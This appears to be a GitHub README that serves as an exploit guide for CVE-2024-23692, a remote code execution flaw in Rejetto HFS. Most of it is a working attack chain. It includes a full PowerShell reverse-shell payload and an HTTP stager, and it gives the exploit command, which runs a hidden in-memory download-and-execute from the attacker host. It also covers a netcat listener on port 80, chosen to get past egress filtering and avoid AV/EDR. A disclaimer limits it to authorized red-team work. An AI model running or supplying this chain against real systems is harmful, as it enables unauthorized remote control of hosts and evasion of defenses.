sandimfz/cve-2024-23692Automates CVE-2024-23692 exploitation against unpatched Rejetto HFS with an in-memory PowerShell reverse shell, HTTP payload staging, and AV/EDR disk-write evasion for authorized red-team engagements.
A tactical documentation and exploit guide for CVE-2024-23692, an unauthenticated critical Remote Code Execution (RCE) vulnerability affecting Rejetto HTTP File Server (HFS) versions prior to 2.3m. This guide leverages an In-Memory Reverse Shell (RAM Only) technique to successfully evade signature-based Antivirus/EDR disk-writing detections.
Disclaimer: This repository and its contents are intended strictly for authorized security assessments, penetration testing engagements, bug bounty simulations, and defensive forensic auditing. Unauthorized utilization against third-party environments is strictly illegal.
The automation checking template implemented in this proof-of-concept workflow builds upon the public repository developed by:
This method incorporates an HTTP stager deployment model to deliver a text-based payload string dynamically into the target environment, invoking live execution straight out of system volatile memory (RAM).
On your local C2/attacker server , create a static text file named index.html and populate it with the following core PowerShell TCP Socket loop code:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
Open a terminal instance inside the designated staging folder containing your payload template file, then launch an instantaneous Python HTTP listener on an alternative port (e.g., 8080):
python3 -m http.server 8080
Open a secondary independent terminal terminal session to host the incoming persistent shell callback. It is highly recommended to leverage port 80 (or 443) to easily circumvent outbound perimeter protection measures (Egress Firewall Filtering):
sudo nc -lvnp 80
Fire the automated validation engine targeting your deployment infrastructure. The target call hooks the command parsing via a localized CMD execution wrapper to maintain optimal string stability without dropping parameter flags:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""
To completely flush compromises and remediate vulnerable operational environments:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue